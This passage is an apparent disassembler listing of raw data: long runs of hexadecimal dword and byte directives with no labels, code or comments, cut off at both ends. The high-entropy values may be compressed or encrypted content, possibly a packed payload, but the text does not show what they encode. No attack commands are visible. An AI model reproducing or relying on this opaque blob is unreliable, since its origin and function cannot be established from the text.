9723C69Ch, 4C647700h dd 0DBEEFB60h, 0FC870E0Fh, 7C009256h, 79F225C8h, 0A2B9F800h dd 2C980DABh, 7868140Fh, 0A800A03Bh, 3D0916F3h, 0F93E37AFh dd 72EB00B4h, 2F211553h, 0F0CE03D7h, 7A74F617h, 4E6DFCE8h dd 6C886801h, 0AB799DEAh, 118BCF4h, 0FEC846AFh, 0E0E1F4F2h dd 0AA00E58Ch, 330C656Eh, 0DD69D0h, 95A4A737h, 0E89F7974h dd 0A3C1D918h, 75AB10h, 0D09AD301h, 3612B0D7h, 3EF07B48h dd 807448C6h, 4EA42793h, 9B75000Eh, 6480A219h, 8D002A08h dd 1E4FC70Fh, 96555Bh, 2C623169h, 5F2630D8h, 91F1AF60h dd 7B20FDF2h, 9FE78F4h, 300F9451h, 857F6C00h, 4100A56Bh dd 1D0A14E3h, 0FF88C27h, 0AAF4FD16h, 0E91A1EA0h, 0B900F2B5h dd 87C91B7h, 24555881h, 97405h, 0C3BC7183h, 0F00068F4h dd 18B8E4EAh, 12A3A6AEh, 43700Ah, 244017B5h, 15001C32h dd 9FDF96C2h, 0DBCDDEh, 0CAE431F7h, 9D62AEC8h, 541AB0C0h dd 2411D419h, 2843E334h, 4AA041Ch, 92EA26h, 12274EA5h dd 0AEC70050h, 2938B88Bh, 0CB00DA10h, 52B685A4h, 0C80633h dd 6B7801D7h, 0ECF8775Ch, 5499E560h, 0BFEEC28Fh, 0D112F2D8h dd 1C0078FEh, 2EE00F8Eh, 0C0630003h, 0DBEDFCC2h, 0A503804Ch dd 0FB81F9BCh, 4E969935h, 42E34E8h, 56B15590h, 0C1C0AB91h dd 1C14C9h, 8F92A5CFh, 6924EFB8h, 88EDF81Eh, 0ACF29780h dd 0D7074h, 58C177EAh, 67A8DEF1h, 17A7EF0Fh, 245B6EB6h dd 3DC06906h, 7A80FBE6h, 0F9ED489Ah, 922C8200h, 6A04620Dh dd 3AE10607h, 8430AB08h, 25C6F2h, 7DC39D09h, 0EB05DBFh dd 4D9C3500h, 9E026A24h, 2D5900D0h, 0D6319667h, 1600BB3Fh dd 38B640D2h, 13CABE1Ah, 891C5Ah, 6CC76D81h, 5B00820Dh dd 0BD735C04h, 1C05D409h, 0C0132F48h, 0FDDE7655h, 3C0010A6h dd 0A2CB6A5h, 5E4A32h, 8B4765C6h, 662975D0h, 0D7FBE300h dd 0FD4CC03Ah, 0EAB00CAh, 0F352AFB1h, 9803837Fh, 14BE7594h dd 166BF101h, 0EE8E71E4h, 0AF9601D9h, 2532DE24h, 9235FCBCh dd 80A03F3Ah, 48452991h, 0A4F1BEh, 24665BF6h, 3E1CC75h dd 7A0008F4h, 6C2E9610h, 0ED02C1h, 6B586F3Eh, 45AABD4Fh dd 9069FA07h, 4509142h, 9A8F033h, 9CC33E32h, 49554A00h dd 0DC001C78h, 6002AD0Eh, 2C750CCEh, 73E2C6h, 5109F14Ah dd 7101FCCDh, 258B36A0h, 9FECEFD2h, 45960041h, 7986436Fh dd 500CE91h, 9D07B77Dh, 2B28FAh, 0FB4BF699h, 2FDC887Bh dd 84016CEAh, 0AC2C24EAh, 0A8CFABB2h, 22A2B32h, 0AEBDA4AAh dd 7940402Eh, 1300BEB0h, 931179CEh, 148FFB3Dh, 87ABC15h dd 0BE178D00h, 6C911C87h, 0A60D7900h, 29A86DEh, 0AF774Bh dd 5DD2C0Ch, 0C219A55Fh, 2DD9FF01h, 0D664B245h, 3DAE60h dd 66A89CD3h, 90F74CF4h, 786A1600h, 0C60CA9BCh, 0A74A000Fh dd 8AE26BBBh, 3100CF18h, 0C574E0D7h, 40159Ah, 664CF77Ah dd 11455CFAh, 0A602D11Dh, 18C18700h, 0C25E9Bh, 0AA52F43Ch dd 31FBEC54h, 4CE88A5Bh, 0E6507907h, 436F070h, 94FC7D3Dh dd 24A32A00h, 0D5ED3FF2h, 0D6D4008Fh, 361B28CCh, 6A008923h dd 62DB0554h, 0EAC93CEBh, 1207849h, 0F26882F6h, 40697A32h dd 0D83E9B4h, 3089D07h, 0E1E163A0h, 908037CBh, 9167FAADh dd 0AA001F58h, 1E03341h, 140EAF83h, 0A8955289h, 0FA68D000h dd 8AFCAC6Ah, 787A1A74h, 95E02550h, 0CC8C4800h, 75CAAD0Bh dd 24FE0581h, 80824721h, 0B88094E8h, 5D1F6100h, 0F419A67Ch dd 3D2CFA3Fh, 0E6BE8AA5h, 0E96C1B80h, 0D683CF44h, 5B484312h dd 0BDAC6440h, 70174128h, 0AFA90095h, 351B2ABBh, 9779069Fh dd 0D24C100h, 0DC757B80h, 5B41245Ch, 0BAB001E4h, 0CD021C9Ch dd 0DF93FC39h, 0A7AC32Eh, 9AA37830h, 0C6402CCDh, 43B40A32h dd 81034080h, 0F7008059h, 0C74008F0h, 0C2063DCFh, 42AB864h dd 2B0DDB60h, 96CC180Ah, 100B710h, 0B7D0142Fh, 0B443000Eh dd 24222528h, 49000F86h, 4C26DED5h, 7291A3h, 1A7E5CC8h dd 640BD716h, 5DC90C0h, 0FA8736h, 0C45EEF75h, 0EA86027Dh dd 0E0183E26h, 9AAE1C00h, 1138ADh, 0BEF2AC69h, 1AE5A46Fh dd 0BCC53305h, 3A801D0Eh, 20F4A011h, 6F009D75h, 0D65AD96Ch dd 18C458B5h, 58844E5Eh dd 8104A039h, 4AE00788h, 878679C0h, 9FA30551h, 0C01E497Eh dd 9C4E5078h, 0EFE4C500h, 0CECD6CB2h, 3E14F0BAh, 5480D426h dd 1521404Ah, 891D4D68h, 0EB49B25Eh, 7F30A091h, 12B0E287h dd 4EA199h, 3625D78Ch, 0A7007703h, 7B3C2418h, 2B6181h dd 0A9B987C7h, 0E770EBD8h, 0F15ABB00h, 0DA845327h, 0F9830049h dd 0BC37C795h, 9F2432EAh, 833F149Dh, 4706C473h, 0DDA29830h dd 0EEBD050Eh, 0C004C86Eh, 0A976C658h, 608B1324h, 7D179C00h dd 98AF870h, 276E07D4h, 0C80B8800h, 9007705h, 0EC6CE59Ch dd 98B8865Ah, 0E769004Ah, 49AA1753h, 0B00EFBDBh, 1A767DCh dd 87CD6A26h, 7D50A6CCh, 2EE00E9h, 9273BE97h, 5E3D6281h dd 0ED9B00C1h, 0A94C68E1h, 4E7932h, 91412D0Ah, 34C547E0h dd 0DFE6B9F0h, 0F190D000h, 799B8894h, 731F00ECh, 9D8696AFh dd 2100EA7Bh, 0A844A7Eh, 53A85Dh, 0E12FD9DDh, 54BA5057h dd 4E5908A0h, 0F061BC00h, 5DD40ECFh, 6C9A1C7Dh, 0FA873A70h dd 7084D544h, 0A70576D7h, 5437EB00h, 0F2D3E41Fh, 0F0230F78h dd 401E73D8h, 95B94D56h, 0FC399C64h, 2D0F8079h, 0D4016D82h dd 0D6CE00B3h, 7B0773Dh, 9B7A14C4h, 0F4FCF503h, 0CF476ACDh dd 97764C80h, 0E9E47Ah, 3FECC17Eh, 0CCB0AF69h, 0FDB6D107h dd 1ED0D9E8h, 0CFFEEFh, 4FCB585Fh, 0DBE1F40h, 2279DA0Fh dd 567D600Ah, 13B0F0A9h, 213082h, 87611C47h, 58006654h dd 1620C99h, 0C264EDEh, 21F5C6F7h, 0FF0C3320h, 0B86491FCh dd 8B830005h, 9C41F319h, 0EA00FD88h, 2853DEE3h, 1F697B1Ch dd 40BCF678h, 521A37D8h, 4B00EBF9h, 0B189E516h, 2E05BEh dd 6A6FCEEDh, 7B727C69h, 32C70A01h, 0F613FCB6h, 0F2A4A0F3h dd 15665C3Eh, 2480CB3Ah, 17930703h, 3430FB94h, 95F5F8C2h dd 0A7DF3B8Ch, 0B59250E0h, 0ED203AB9h, 65787CADh, 3C4086h dd 6B937070h, 0B1A1EB6Eh, 37E840D6h, 510F9F43h, 4E8992E0h dd 804F2AACh, 702F3BDh, 0B7A85878h, 0EC84A0E8h, 60EB5DE7h dd 86D11BFh, 0D73ED76h, 6009070h, 9C13887Eh, 0E1E7F25h dd 4867F2F7h, 96EED060h, 3E008637h, 0D44F929Fh, 0EFC410h dd 0A113241Ch, 0E56865ADh, 586CA218h, 9CCFA0h, 6A4C7F2Bh dd 76A49AA5h, 0B94BB500h, 0ED9EE430h, 5A3F0004h, 7B85A655h dd 8E07AD09h, 0AB10D38Ch, 0C84F6A70h, 2AFD0058h, 8ABE7290h dd 630FF260h, 0C0DB6264h, 3447401Eh, 0CC4B283Bh, 0B0E41CB8h dd 205BC04Eh, 0B6AAF4DFh, 4D724C00h, 0A906C122h, 783200BCh dd 35AC5243h, 3E0A5144h, 8E0B526h, 0E2B72880h, 0F2AAB9h dd 0ED013730h, 0C6CE972h, 0AE086703h, 0E817E4F0h, 1AC2904h dd 503F1DD5h, 6071A248h, 0E5287C6Ch, 0C526A001h, 510043F1h dd 0FB5C7462h, 0F30901Ch, 2506E3AFh, 66DC0FA0h, 311271A5h dd 7C001F68h, 62E2F34Ch, 36981277h, 0CB1400D8h, 0E182EEBFh dd 0FB003C75h, 0B6B1C926h, 0EDB304h, 3031E50Eh, 0E65A158Eh dd 49FA4092h, 99BAC200h, 38FB2DB5h, 0EC7A0037h, 6FAE9414h dd 72019EA1h, 0D67D51E3h, 41C2D2E5h, 0B4D43C20h, 6C5E007Fh dd 0D7AF4052h, 701F6B3h, 9C7DEAFEh, 0E6C477F7h, 87600AFFh dd 0BA9042h, 5161D370h, 0C4120FF9h, 2F142409h, 19007E52h dd 690AF365h, 9FCE53h, 88685C5Fh, 47AC0D4Ah, 328E2800h dd 6383A9C9h, 0BA390214h, 0CF0EBD75h, 0AE678848h, 0ECEDD800h dd 44566026h, 0EBDA09ACh, 88F28EAh, 0E1DCB220h, 0BB051024h dd 390721A4h, 8BCCC4Ah, 0C046320Fh, 3687B849h, 9898CAh dd 9E7884F2h, 292A24EAh, 26736748h, 6C230D6h, 0E09C4B77h dd 0E40DF71h, 0FF1D1393h, 1A21B3C0h, 54007C8Fh, 0BED9C452h dd 7E024D5h, 0F6F7167Eh, 6F53C0E7h, 2000CFC1h, 218CEF91h dd 0D9EEC2h, 185C2E93h, 0F585498Bh, 3238CDE2h, 0C660FE23h dd 50E3C7A0h, 30C16045h, 0A5AB43BBh, 0FF014C90h, 916D5233h dd 0D3EC4989h, 0DACC0036h, 80F27525h, 56FE7C8Dh, 0EAB9AA03h dd 0A7990135h, 62F019F7h, 654FED0h, 0A7B8AC9Fh, 7C0921D8h dd 1034C717h, 37A428h, 83A61124h, 8B02859Dh, 28B3C300h dd 5C409A6Ch, 388048D7h, 0E4DD440h, 0DC49AC70h, 77875720h dd 6B0072F0h, 8B53D0D8h, 274EE79h, 5AE7EF6Dh, 0C0DF8E04h dd 0E5D1D5h, 0C8C065Ch, 0A4233707h, 8EC72E01h, 3AC8DE50h dd 0CCBD6181h, 0C03B4A8Ah, 0D330B3E2h, 0F0B71821h, 6004F069h dd 6A201105h, 0F3003B81h, 0DEBD8ED0h, 7F14C45h, 67E994FEh dd 0B21B70A3h, 97311088h, 0FB4E30B5h, 6380AED0h, 6B54705Dh dd 5AF70780h, 6EB72200h, 0D3C6A569h, 8E3401BFh, 7C81AFCDh dd 0DB908056h, 4BA41C54h, 4E88A8C7h, 0D2003FCh, 11585AEFh dd 0F534801h, 8AE3C02Ch, 3007D424h, 0B9E13B0Ch, 9F006A28h dd 45B59B17h, 0A7EB22h, 0E97796C4h, 0A1DCFD83h, 0DF3DC91Fh dd 8E9F2BC0h, 0F0C45Eh, 7595598Dh, 5BE2AE8Ch, 481538h dd 0CE73A338h, 65D09Eh, 0A93F6F0h, 0E5A44FDDh, 41C0D94Bh dd 9954E1h, 0B7B4E9BDh, 6D01C189h, 58D80D1Fh, 57C94541h dd 353011E2h, 0C83000E1h, 0A5E7883Bh, 527EF84Ah, 6AA1A800h dd 0B6BA5FABh, 0E3A72BCh, 53CAECB2h, 0F79AE3Eh, 3C81D2FFh dd 304AD472h, 909B216h, 80C87403h, 0B3E305FAh, 25F100A7h dd 80771E46h, 9B1F0EF4h, 6707B7C9h, 81CA4BEAh, 539FF903h dd 0FE1014C7h, 0B002A4B3h, 89CC8ECBh, 0A366ACA0h, 0F065CFDh dd 7205A87h, 219F6209h, 605F9BC6h, 62D4EE9Ch, 2B1786A2h dd 0B1F73868h, 636DD300h, 0EEBADC92h, 0E4561E6Eh, 38D8809Bh dd 4C484D43h, 80A0136Ah, 0EA4F9447h, 5E000833h, 0B7A5495Ah dd 0C76A0C50h, 4B0860BFh, 527C21C0h, 1BAB649h, 0B7C456A4h dd 83F2939Fh, 607845D8h, 2C60420Bh, 9B3046E2h, 0B6100171h dd 576FB5AEh, 0F85810C8h, 0D9468422h, 0A6495902h, 1C58B7h dd 0DD49517Dh, 0FF4D55B1h, 92A43115h, 4F950CA8h, 386F2939h dd 70E8DB97h, 902103CCh, 1000F167h, 0B1160B11h, 76CCAE4h dd 7FE248DCh, 0B7266722h, 60B2E05Ch, 4503044Fh, 4D7CDBE3h dd 3B80DF24h, 0F7F554h, 70F27396h, 0B799AC33h, 50D17100h dd 0FA2D9512h, 4E9F0057h, 7DC5E030h, 0E8004F6Ch, 2068A3F6h dd 0B89E67D4h, 0DD180074h, 0FF48DB09h, 3D3BB32Eh, 9B5100F7h dd 7BD6A9D3h, 74A5EE6Dh, 0C6F600C4h, 1D319AC8h, 65004675h dd 0E49883Fh, 3913ABC5h, 0B8EF4F8h, 41C0E224h, 0C75D672h dd 0B982D200h, 0F4C95122h, 0E6B603F9h, 0C8FA7388h, 46606104h dd 1EC355F8h, 0E287C80h, 0A6F4DC44h, 91FE8900h, 40038821h dd 0E0857062h, 2CA09009h, 0AB9400FDh, 0CADC4D97h, 0D12DC46Dh dd 9DF066h, 0D37961A7h, 75E4764Ah, 372C19CFh, 333E76B8h dd 0BF563A83h, 0BCE06F18h, 7B0F775Bh, 0D598C8h, 95FCA39Ah dd 396B0026h, 0F0E031E1h, 0D8CF6471h, 0CB9C013h, 389D20Eh dd 0F48F4BCCh, 0C1008154h, 0AA852087h, 31A340Ah, 0C3F929A6h dd 0C7F05D93h, 0B40009BBh, 0BAEE5A63h, 0C6BF270h, 0D0F8DBBCh dd 0AA2ABF41h, 475C90C1h, 0FA2E0115h, 1E234913h, 0C36C96FCh dd 752A6D28h, 7CD73CD0h, 0F96EF51Eh, 0ADB7B580h, 449627F1h dd 0BF70CD4Bh, 83B6F400h, 70A59139h, 285E02CEh, 0BCA95437h dd 88D67D40h, 95C8FB07h, 24B08EB9h, 11DE53Eh, 8F687DEBh dd 0A1E8780Dh, 187E0410h, 10F0B8DDh, 0A31C70D5h, 940240Ah dd 3FEE2682h, 1A4B0EFCh dd 9140DD22h, 5DD6E886h, 85299864h, 0AEE1FA40h, 0BA0F69EFh dd 202B3AC7h, 0A580F706h, 282F006Eh, 0DAF908FCh, 7E0011D2h dd 45572D99h, 1C0D6371h, 0C0F0AC7Fh, 0D0413E8Ch, 9000AF6Ah dd 2C71989Bh, 6B6CE9h, 0FACB73BEh, 3D0DE549h, 0BFC67202h dd 605C1CF0h, 4C39FBh, 26B1B4D7h, 305B6EAFh, 0C4954416h dd 0FD3FCE00h, 15F2105h, 0AEF4F6EDh, 0C43BBCF8h, 670050A1h dd 4005238Fh, 79B8E60h, 2D7A90EAh, 0E8D97041h, 8807DADDh dd 9409C833h, 0A90D767h, 3CD5AE2Eh, 0AF00C75Bh, 7142C993h dd 0E500F425h, 0FF619E14h, 24F6FD1h, 0A784BA46h, 0BC820D72h dd 6740C83Dh, 7B007D42h, 0D630D92Dh, 3FA12102h, 2F0064F4h dd 8DA34547h, 2B018F07h, 0FB3BB877h, 0C9711892h, 0C8D0C0EEh dd 0E2F9EEDFh, 0D3390008h, 338C8441h, 1138555Ah, 0EA1D12AFh dd 95993C00h, 1842FDADh, 9C20B2FEh, 720325A5h, 7D5748D7h dd 68B100A2h, 9BBD87E9h, 0B30FB518h, 0C0B6998Ch, 8FADCB9h dd 668E0094h, 0FC400358h, 0D500FEFDh, 0A25041B3h, 2434AA7h dd 7A8866C5h, 0FBC06082h, 9000042Dh, 0AC5F8D1Eh, 136D9FEh dd 54769D3Bh, 30434DA5h, 0AA0087B0h, 9C3DEAC6h, 90E3EF02h dd 35FF0050h, 7DB5B34Ah, 0E8006E33h, 6DBB424Dh, 839A89h dd 0BD444EA5h, 1A0D0EEFh, 76B6F500h, 9742D01h, 7CDEA10Bh dd 0E8CFACCh, 65EC0E9Ch, 402C1F92h, 0FBF438ACh, 0F1EAF248h dd 0DDF890EAh, 0F3C54600h, 68D45935h, 150B3C16h, 0F4E3D980h dd 678E8ACh, 33896A00h, 9657B225h, 780AFCDDh, 0B53700F2h dd 1612443h, 0B118F077h, 0F621825Bh, 0E5C01F5h, 747E0FB2h dd 0E4198076h, 59860968h, 3BC400AEh, 0B87F3C0Eh, 0AB0901E8h dd 1F22F47h, 18FE9CD0h, 0C3D6E4h, 4684E5F0h, 0BECEA330h dd 97EAD900h, 4CA92604h, 727E3927h, 4F997F03h, 8EB90855h dd 4298EC83h, 0E7115001h, 73223395h, 0F79C880h, 0B60A1924h dd 44934A24h, 544F1280h, 0F6EF6ED4h, 5337A9Fh, 78760E7Fh dd 153B801Ch, 0C117FE71h, 1EBEAB29h, 0D995CCF0h, 0F100A0D9h dd 0A9BC80DEh, 0EA6BC6h, 6EE9B6FFh, 0E8DD63Dh, 9767B300h dd 946495D1h, 0F2E326B2h, 0A95B0441h, 0EA0080E0h, 3500837Dh dd 973953F7h, 1DB79DE5h, 8001434Bh, 7A3A4FBAh, 5816AF7Fh dd 33007B9Ah, 291973C3h, 792A0383h, 2B9062F1h, 23EDB580h dd 0DE986C00h, 0B9A26B8Eh, 2470030Fh, 0C67D73D2h, 4E6031B2h dd 0BE0317FBh, 0F4A28009h, 0E1E4F0CCh, 0E5D600F6h, 0C572B20Ah dd 8A00506Dh, 91537B30h, 1FF2EAC3h, 536610B4h, 0A41000BAh dd 0D06552E5h, 86E40700h, 2C60BC11h, 0BD1500B1h, 3581E1C1h dd 653DEF6Dh, 23D9938Fh, 903B1400h, 2C68B3CCh, 8004390Ah dd 5A389759h, 7874960Ch, 36C1A400h, 4F780B5h, 0F37903B6h dd 0EED3408Dh, 669BBF0h, 977CDA00h, 0E41509ECh, 2CB8097Bh dd 7B80D5DBh, 641C7CDh, 2D4C51F8h, 0B1E6005Ch, 297863A7h dd 0CDA2C38h, 0F514014h, 120E4861h, 60593B2Ah, 0E097C104h dd 0C04901AEh, 94BFD447h, 0F0143011h, 5FB4E800h, 139E7002h dd 0DF90C7D1h, 0F9EC30DCh, 0C9007DF7h, 4F27575Fh, 669F7Ch dd 7F5C01C4h, 37E43C92h, 1ACB1000h, 0B2872B9Eh, 2EF048C6h dd 514FBD04h, 0E13C809Dh, 0CA1ED56Ah, 37006EC1h, 3CA3ED90h dd 0AEB516C3h, 0D7D00358h, 63BF9CA9h, 1ED304F6h, 0D1B2D000h dd 6CBF27EFh, 0ED8100FEh, 0A73F07AAh, 68070593h, 8DC19FE8h dd 68D0C504h, 0CA314h, 9DDC2B8Bh, 5998AF42h, 0F7E4961Eh dd 0A89B5204h, 0C6FB7881h, 0D5F003D5h, 305700B9h, 68BFB32Ah dd 0FFE0CA3Dh, 2C96722Ch, 63EF200h, 49BD290h, 19D6E503h dd 1565C04Fh, 6F00FE8Ch, 0A53D07C3h, 0EA6D6537h, 480B282h dd 9E66C29h, 151AC057h, 25F8CC9Ah, 0A0740B00h, 35ABEE3Ah dd 77AC002Ch, 76DAB233h, 0A27E4E8Ah, 6E044700h, 1D11B0D8h dd 0D49C0353h, 315F0A88h, 7C7879C0h, 0E06CF000h, 6F90ADA2h dd 0CABB3A51h, 5C49CF85h, 0BDF4034Ch, 0BCC83A25h, 75001F7Fh dd 84B917FDh, 0E4BAC4E4h, 1C1C90E7h, 80455C27h, 0B7337496h dd 21003935h, 73C6F6FCh, 4C89FAA4h, 0D3323818h, 84C07EEEh dd 7F226D22h, 78A3CCBh, 9A167972h, 0CC080540h, 829C56BBh dd 0E463801Fh, 3B79CAB8h, 0AFD16501h, 0DA285A25h, 14F8DEECh dd 64950D46h, 80AB241Dh, 0AC150A8Fh, 0F91F68B2h, 189FD606h dd 69390400h, 0B0E42DBEh, 4E491EB4h, 0C6BC402Ah, 0ACD2D379h dd 1B9F9602h, 80877AE9h, 0B5E8CBB7h, 31A30072h, 4D9718D8h dd 0AB076EF3h, 962459F6h, 380780B0h, 4250013h, 0DF93860Eh dd 9478F7BDh, 44D85000h, 3BCBA13Fh, 144501C1h, 4CC47B84h dd 0D4DDF9B6h, 6702FBBCh, 0E5E1AA86h, 0E684C4ABh, 0C8622C40h dd 57788194h, 706CCA9Ch, 0E100D7C0h, 67B1D2C0h, 0E2C4CFh dd 0C876AA3Ah, 0DBC3CB1Ch, 0D1ACCD5Eh, 82628h, 0C9CF6FBEh dd 90B7A8D6h, 4CD85C3Eh, 0DFB60700h, 4C40356Ch, 9A21A18Eh dd 249E120Ch, 0B024870Bh, 9FD781F8h, 7B82181Dh, 0EF23C406h dd 0A81D1028h, 0B0E0880Ch, 0C932A330h, 95C58918h, 614B6C38h dd 0B834D1E1h, 0E665E507h, 32812480h, 1500E5A3h, 0F59E6BC7h dd 36F0AE7h, 0CCEE9F7Ah, 97B056ECh, 110379D9h, 0A08DD482h dd 13BF021h, 9030A4CBh, 869700D1h, 0BFB13EE8h, 2A012985h dd 856148Bh, 98D06299h, 3E3F004Fh, 0E2FF221Ah, 850097EEh dd 0C22DD018h, 1ECBFE10h, 83535CCFh, 80C343ADh, 2408A7D8h dd 52BA761Eh, 69810ADDh, 0F2553177h, 230BC980h, 3344CAA4h dd 6C22010Eh, 14181DCBh, 1BB021h, 0D96AAAA4h, 0DDB9732h dd 0C400A975h, 4036FE5Bh, 0E3315A6h, 7E759FC5h, 0EBD718F8h dd 0D0DD1B29h, 4DD87D00h, 767B646h, 0AF9EE46Bh, 218A466Ch dd 4D806200h, 0A8CF6F0h, 0D30601A1h, 23725F71h, 7DD85007h dd 8387EF2h, 924805Ah, 22715005h, 856C04EFh, 40F6B640h dd 0F43EEC1Eh, 48A90099h, 0D3294172h, 0F1071CD8h, 0A2C01AD1h dd 23770BC7h, 6C842F15h, 0C0388C08h, 44C5A430h, 8085CB70h dd 17A3C8ABh, 0D401D29Bh, 7E60F95Eh, 8906BC32h, 0BE8858A0h dd 79901F50h, 1862AE10h, 9A40187Ch, 0F68E190Fh, 0B29CF057h dd 4F0BC0C1h, 829B0625h, 0D0A9E4B7h, 33B3E33Eh, 0E08AE86Ah dd 0D752DAh, 8EB2A83Bh, 80387949h, 34F48F1Ch, 2C725B40h dd 2BC725h, 5213A306h, 0ED5115DCh, 0DD1C2172h, 62409DD1h dd 5EB65F4h, 0B52C038Fh, 3F9ABE55h, 2A0040D6h, 250A7BE3h dd 0C94D3Ch, 0A9089D2Dh, 0D1819906h, 0BF0C4E00h, 0A0466FA7h dd 19EEA26h, 1ED4C9B0h, 802A256Ch, 1D67C288h, 11A4EDh dd 2B36F43Dh, 0DF0F8EF0h, 0F513EF07h, 2F705D2Ah, 0CD41C49h dd 8CE43947h, 7015B80h, 9B147BC0h, 5320EC26h, 9B025089h dd 0D9BC0955h, 288C4D45h, 82607AB1h, 0D11CBE39h, 25A80350h dd 0A1F3F261h, 0D51BFD0h, 68DB7E00h, 8FB67203h, 438300D3h dd 0F25C5787h, 19C11730h, 82DFDAF3h, 0B7BC7810h, 7070B530h dd 111D7236h, 19E7A29h, 3E0D3C74h, 91C0BC70h, 842707C4h dd 20A34F11h, 859B2134h, 0D7D75B8h, 3F4CAB71h, 758700C1h dd 999198FEh, 0F0F400A7h, 0AB0D7FE1h, 0C7486F8h, 22218E60h dd 76DF33Fh, 56765C9Dh, 0A0EEB0B0h, 79804ADEh, 99D703BCh dd 3B35FFB6h, 0A912CFA8h, 0A464F907h, 0AD70E469h, 1BE63B4h dd 0AC79941Dh, 40C2FE99h dd 706B9E20h, 45C64E00h, 6D7D75D0h, 679BE8CBh, 1F4320A4h dd 0E5DE7B22h, 0D867ACE1h, 7E70452Ch, 0F09A50Fh, 0B0A2E0DCh dd 6068BA12h, 0D6FE5930h, 63302993h, 0F77811B3h, 359503B7h dd 2D4A97F0h, 0AF120918h, 0FF5820h, 38DD6B7h, 0A5BACAE2h dd 18309400h, 0F1FEC078h, 59950086h, 0DBD311C2h, 0A13B3BB0h dd 0ACA9A803h, 808C3E21h, 0E1F1F4DCh, 82850C97h, 0DF39437h dd 55AF3DC0h, 0E7086603h, 0F9477B01h, 68808CC6h, 9C32BB26h dd 5000D771h, 189853FBh, 6FA9BEh, 0E33EB9B4h, 0AE2786FEh dd 3CC2D70Fh, 3BADC060h, 1E9299F8h, 8C6E9Eh, 1D24DAD4h dd 0DC00FCC4h, 4E636866h, 0D99EEBh, 4115E020h, 37D26424h dd 3D1F6D00h, 10307E99h, 26F6002Bh, 0CE24A1C5h, 0D4007275h dd 0B6480477h, 59151Dh, 96227692h, 0DEBBB9FFh, 0DF00D5B0h dd 0EC828565h, 393A5D4h, 747BF136h, 0D5F9CDEFh, 0F6EFC3Ah dd 0C9452A00h, 0FA99C62Ch, 87A201FBh, 0B63B840h, 0A6C0F8B1h dd 0C5096179h, 8CBB9FF6h, 0A59D1160h, 0ECDE104h, 331080A3h dd 0F31EB5B9h, 5B733C60h, 467DD100h, 0BF8C673Bh, 0AFD26E00h dd 0BE669C74h, 9E807B3h, 0D1A1D8D1h, 0C8EBB4F0h, 0A600F384h dd 0C957ADC7h, 3F11338Fh, 0B91853EAh, 2AE858E3h, 5BE22E00h dd 2F15C168h, 0CD7857h, 0B39F3F0Bh, 49227025h, 38475D03h dd 0B87B92C8h, 0FA4237A3h, 2D7F012Fh, 66F36C21h, 0E8A0D112h dd 0CA0394F2h, 5D7D0D41h, 0B3D790DBh, 0B55500D6h, 725E1E31h dd 0B700326Ah, 79FD307Bh, 0F5BF76h, 2FDA428Dh, 0D64BA7EFh dd 0AD150A00h, 27C9F254h, 0A8FC03CAh, 0E5424691h, 0ECAC7DE0h dd 9700C777h, 0FEF1040Fh, 0DCA5F6h, 744BCBD2h, 0B9AC321Dh dd 9FE34E02h, 0D8B45625h, 0AD60E38Dh, 0B01903CDh, 0C29BB8DEh dd 558965E8h, 0F1C440FFh, 0BC000C11h, 4B394262h, 1814577Fh dd 0AA801C03h, 0E4FC5982h, 644A912Eh, 77019912h, 77B27C65h dd 60802171h, 803B02C5h, 7F0FC6A8h, 5035654Fh, 62E09200h dd 2F13566Dh, 0F923A900h, 1536CE52h, 0B95A0009h, 9F8B692Bh dd 9302F226h, 3A524825h, 70BEC086h, 31460040h, 59870FDEh dd 0DDFAE417h, 0C3C1CC03h, 3BDA5D5Ch, 0A98007C0h, 34E750FEh dd 15006ADFh, 7DC7DB38h, 0A8BBAA9Eh, 0E594DF8h, 0FA17A62Eh dd 2B167AC0h, 0CB00DCE5h, 14C7E4DBh, 0D1C3AFh, 0E71FAE56h dd 0D2F691A9h, 766F9400h, 9A3CF5E2h, 6A18010Ch, 7FE24DEh dd 58377096h, 63FC3007h, 5F80B568h, 78A959Eh, 62812688h dd 0BD5840FBh, 48001D14h, 0B93B04CEh, 94515Dh, 6A4FB0F5h dd 0C02F68DDh, 0C973F90Fh, 6220C410h, 0FB209887h, 3CF0066Ah dd 0D83BC68h, 3642EEB1h, 3F3B18A0h, 2F0E1B78h, 408E866Ah dd 1CAFE1D6h, 7D710048h, 0C7B6A435h, 750E62E3h, 27575D88h dd 87404364h, 422C8A3h, 86E53CD9h, 8E6087CFh, 0AD63FA60h dd 79000CB5h, 56F418D4h, 3C1395CDh, 0DD1E1085h, 393D8057h dd 0E9504F7Dh, 35F8C450h, 11FB9107h, 0EA509EBAh, 49C94Eh dd 0CFDECCE8h, 0FE2A6AFDh, 8C03DA71h, 0AFBA71E3h, 373BD904h dd 721C420h, 9866BBFDh, 7CC390C7h, 95009B15h, 24C061C1h dd 548C26B9h, 1D9E880h, 50F36EF6h, 0E14F7CFEh, 463C2436h dd 7976E100h, 0DDFF3252h, 0A3FB003Bh, 0F3F4971Dh, 7C005B92h dd 3ACE6646h, 456E7Dh, 0AFD0E521h, 1475E720h, 686CC413h dd 0EC88C05h, 0F2488C03h, 0FFDCE04Ch, 150200F9h, 0C4914D0h dd 0CB00F5C1h, 9D3D3953h, 0BAED75h, 3B01B7B9h, 0C42FC50Eh dd 0A832D414h, 1EAF1CE3h, 0B798E600h, 0ECC003h, 0E48F87A6h dd 24B1B083h, 0FE16B800h, 0B267285Eh, 1239005Bh, 44B6746Fh dd 0B30043C4h, 0BC526C0Ch, 5DDD63h, 191E6B67h, 288C458Fh dd 0C79FAD14h, 790A0084h, 4DBF6A3h, 8413006Eh, 0DF167BEAh dd 5B001597h, 0F0CA9D08h, 690DBCh, 0F2A99B7Fh, 0B1FDA6EAh dd 7C03AE39h, 0D932C500h, 9EC69C58h, 5DBF0001h db 7Dh, 0E0h, 0EBh db 0DFh dd 0A20E17F9h, 20F4FBA4h, 0D63D3E7Fh, 0B1B62612h, 6C4780F8h dd 0D5A88C1h, 2014A4A1h, 0E600CDD0h, 0A7E2F435h, 6352DEDFh dd 34C021E0h, 65B014C3h, 4D005726h, 0A859D066h, 78E89Ch dd 0C38EF95Bh, 0D605802h, 57931600h, 0B740D156h, 253D2E4Ch dd 10CF18E4h, 2F90F588h, 35CC2B00h, 7996D3F6h, 16AC07B4h dd 203C2A40h, 0E6B744D5h, 0C93E7F78h, 0FC4C72h, 5B6BAF57h dd 0EB6245h, 34D5EAE5h, 379A5297h, 1950640Fh, 0E91AAD10h dd 34AFECh, 9CA1ABA6h, 413929DFh, 97E4097Ah, 7D05E41Ch dd 1567AA00h, 9600A65h, 812E9DFEh, 1AEC0400h, 